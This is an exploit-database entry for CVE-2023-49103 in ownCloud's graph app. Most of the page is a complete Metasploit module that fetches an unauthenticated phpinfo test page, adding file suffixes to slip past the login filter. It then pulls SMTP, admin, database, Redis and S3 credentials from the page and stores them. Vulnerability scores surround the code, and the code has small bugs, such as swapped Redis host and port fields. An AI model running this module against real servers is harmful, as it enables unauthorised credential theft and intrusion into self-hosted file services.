Lucene search

K
zdtRrdw1337DAY-ID-39185
HistoryDec 07, 2023 - 12:00 a.m.

ownCloud Phpinfo Reader Exploit

2023-12-0700:00:00
rrdw
0day.today
177
phpinfo reader exploit
docker containers
owncloud
graph app
information disclosure
sensitive credentials
environment variables
metasploit
cve-2023-49103

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

6.6 Medium

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.867 High

EPSS

Percentile

98.6%

Docker containers of ownCloud compiled after February 2023, which have version 0.2.0 before 0.2.1 or 0.3.0 before 0.3.1 of the app graph installed contain a test file which prints phpinfo() to an unauthenticated user. A post file name must be appended to the URL to bypass the login filter. Docker may export sensitive environment variables including ownCloud, DB, redis, SMTP, and S3 credentials, as well as other host information.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ownCloud Phpinfo Reader',
        'Description' => %q{
          Docker containers of ownCloud compiled after February 2023, which have version 0.2.0 before 0.2.1 or 0.3.0 before 0.3.1 of the app `graph` installed
          contain a test file which prints `phpinfo()` to an unauthenticated user. A post file name must be appended to the URL to bypass the login filter.
          Docker may export sensitive environment variables including ownCloud, DB, redis, SMTP, and S3 credentials, as well as other host information.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'creacitysec', # original PoC
          'Ron Bowes', # research
          'random-robbie', # additional PoC work and research
          'Christian Fischer' # additional PoC work and research
        ],
        'References' => [
          [ 'URL', 'https://owncloud.com/security-advisories/disclosure-of-sensitive-credentials-and-configuration-in-containerized-deployments/'],
          [ 'URL', 'https://github.com/creacitysec/CVE-2023-49103'],
          [ 'URL', 'https://www.labs.greynoise.io//grimoire/2023-11-29-owncloud-redux/'],
          [ 'URL', 'https://www.rapid7.com/blog/post/2023/12/01/etr-cve-2023-49103-critical-information-disclosure-in-owncloud-graph-api/'],
          [ 'CVE', '2023-49103']
        ],
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2023-11-21',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The URI of ownCloud', '/']),
        OptEnum.new('ROOT', [true, 'Root path to start with', 'all', ['all', '', 'owncloud'] ]),
        OptEnum.new('ENDFILE', [
          true, 'End path to append', 'all', [
            'all', 'css', 'js', 'svg', 'gif', 'png', 'html', 'ttf', 'woff', 'ico', 'jpg',
            'jpeg', 'json', 'properties', 'min.map', 'js.map', 'auto.map'
          ]
        ]),
      ]
    )
  end

  def roots
    if datastore['ROOT'] == 'all'
      return ['', 'owncloud']
    end

    datastore['ROOT']
  end

  def endfiles
    if datastore['ENDFILE'] == 'all'
      return [
        '.css', '.js', '.svg', '.gif', '.png', '.html', '.ttf', '.woff', '.ico', '.jpg',
        '.jpeg', '.json', '.properties', '.min.map', '.js.map', '.auto.map'
      ]
    end
    ".#{datastore['ENDFILE']}"
  end

  def field_regex(field)
    "<tr><td class=\"e\">#{field} <\/td><td class=\"v\">([^ ]+) <\/td><\/tr>"
  end

  def get_mappings
    {
      'License Key' => 'OWNCLOUD_LICENSE_KEY',
      'Hostname' => 'HOSTNAME',
      'Home' => 'HOME',
      'Server Root' => 'APACHE_DOCUMENT_ROOT',
      'PWD' => 'PWD',
      'SMTP Host' => 'OWNCLOUD_MAIL_SMTP_HOST',
      'SMTP Port' => 'OWNCLOUD_MAIL_SMTP_PORT',
      'SMTP Username' => 'OWNCLOUD_MAIL_SMTP_NAME',
      'SMTP Password' => 'OWNCLOUD_MAIL_SMTP_PASSWORD',
      'ownCloud Username' => 'OWNCLOUD_ADMIN_USERNAME',
      'ownCloud Password' => 'OWNCLOUD_ADMIN_PASSWORD',
      'ownCloud Server Port' => 'SERVER_PORT',
      'DB Host' => 'OWNCLOUD_DB_HOST',
      'DB Username' => 'OWNCLOUD_DB_USERNAME',
      'DB Password' => 'OWNCLOUD_DB_PASSWORD',
      'DB Name' => 'OWNCLOUD_DB_NAME',
      'DB Type' => 'OWNCLOUD_DB_TYPE',
      'Redis Host' => 'OWNCLOUD_REDIS_HOST',
      'Redis Port' => 'OWNCLOUD_REDIS_PORT',
      'Redis DB' => 'OWNCLOUD_REDIS_DB',
      'Redis Password' => 'OWNCLOUD_REDIS_PASSWORD',
      'ObjectStore Endpoint' => 'OWNCLOUD_OBJECTSTORE_ENDPOINT',
      'ObjectStore Region' => 'OWNCLOUD_OBJECTSTORE_REGION',
      'ObjectStore Secret' => 'OWNCLOUD_OBJECTSTORE_SECRET',
      'ObjectStore Key' => 'OWNCLOUD_OBJECTSTORE_KEY',
      'ObjectStore Bucket' => 'OWNCLOUD_OBJECTSTORE_BUCKET'
    }
  end

  def run
    found = false
    roots.each do |root|
      break if found

      endfiles.each do |endfile|
        url = normalize_uri(target_uri.path, root, 'apps', 'graphapi', 'vendor', 'microsoft', 'microsoft-graph', 'tests', 'GetPhpInfo.php', endfile)
        vprint_status("Checking: #{url}")
        res = send_request_cgi(
          'uri' => url
        )

        fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
        unless res.code == 200 && res.body.include?('phpinfo()')
          print_bad("Not Exploited - HTTP Status Code: #{res.code}")
          next
        end
        print_good("Found phpinfo page at: #{url}")

        # store page
        l = store_loot(
          'owncloud.phpinfo',
          'text/html',
          rhost,
          res.body,
          'phpinfo.html'
        )
        print_good("Loot stored to: #{l}")

        # process the page
        mappings = get_mappings
        extracted_values = {}
        mappings.each do |field_name, field|
          if res.body =~ /#{field_regex(field)}/
            extracted_values[field_name] = ::Regexp.last_match(1)
            print_good("#{field_name}: #{extracted_values[field_name]}")
          end
        end

        table = Rex::Text::Table.new(
          'Header' => 'Credentials',
          'Indent' => 2,
          'SortIndex' => 0,
          'Columns' => [ 'Type', 'Host', 'Username', 'Password', 'Notes']
        )

        if extracted_values['SMTP Password']
          credential_data = {
            protocol: 'tcp',
            workspace_id: myworkspace_id,
            service_name: 'SMTP',
            origin_type: :service,
            module_fullname: fullname,
            status: Metasploit::Model::Login::Status::UNTRIED,
            private_data: extracted_values['SMTP Password'],
            private_type: :password
          }
          credential_data[:username] = extracted_values['SMTP Username'] if extracted_values['SMTP Username']
          credential_data[:address] = extracted_values['SMTP Host'].nil? ? '127.0.0.1' : extracted_values['SMTP Host']
          credential_data[:port] = extracted_values['SMTP Port'].nil? ? 25 : extracted_values['SMTP Port']

          create_credential(credential_data)
          table << ['SMTP', "#{credential_data[:address]}:#{credential_data[:port]}", credential_data[:username], extracted_values['SMTP Password'], '']
        end

        if extracted_values['ownCloud Password']
          credential_data = {
            protocol: 'tcp',
            port: rport,
            address: rhost,
            workspace_id: myworkspace_id,
            service_name: 'ownCloud',
            origin_type: :service,
            module_fullname: fullname,
            status: Metasploit::Model::Login::Status::UNTRIED,
            private_data: extracted_values['ownCloud Password'],
            private_type: :password
          }
          credential_data[:username] = extracted_values['ownCloud Username'].nil? ? '' : extracted_values['ownCloud Username']

          create_credential(credential_data)
          table << ['ownCloud', "#{rhost}:#{rport}", credential_data[:username], extracted_values['ownCloud Password'], '']
        end

        ## DB
        if extracted_values['DB Password']
          credential_data = {
            protocol: 'tcp',
            port: extracted_values['DB Host'].split(':')[1],
            address: extracted_values['DB Host'].split(':')[0],
            workspace_id: myworkspace_id,
            service_name: extracted_values['DB Type'],
            origin_type: :service,
            module_fullname: fullname,
            status: Metasploit::Model::Login::Status::UNTRIED,
            private_data: datastore['DB Password'],
            private_type: :password
          }
          credential_data[:username] = extracted_values['DB Password'].nil? ? '' : extracted_values['DB Username']
          create_credential(credential_data)
          table << [extracted_values['DB Type'], "#{rhost}:#{rport}", credential_data[:username], extracted_values['DB Password'], '']
        end

        ## REDIS
        if extracted_values['Redis Password']
          credential_data = {
            protocol: 'tcp',
            port: extracted_values['Redis Host'],
            address: extracted_values['Redis Port'],
            workspace_id: myworkspace_id,
            service_name: 'redis',
            origin_type: :service,
            module_fullname: fullname,
            status: Metasploit::Model::Login::Status::UNTRIED,
            private_data: extracted_values['Redis Password'],
            private_type: :password
          }

          create_credential(credential_data)
          table << ['redis', "#{extracted_values['Redis Host']}:#{extracted_values['Redis Port']}", '', extracted_values['Redis Password'], '']
        end

        ## OBJECTSTORE
        if extracted_values['ObjectStore Secret'] && extracted_values['ObjectStore Key']
          table << ['S3 Object Store', extracted_values['ObjectStore Region'], "Key: #{extracted_values['ObjectStore Key']}", "Secret: #{extracted_values['ObjectStore Secret']}", "Endpoint: #{extracted_values['ObjectStore Endpoint']}, Bucket: #{extracted_values['ObjectStore Bucket']}"]
        end

        print_good(table.to_s)
        found = true
        break # no need to keep going, we already got what we wanted
      end
    end
  end
end

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

6.6 Medium

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.867 High

EPSS

Percentile

98.6%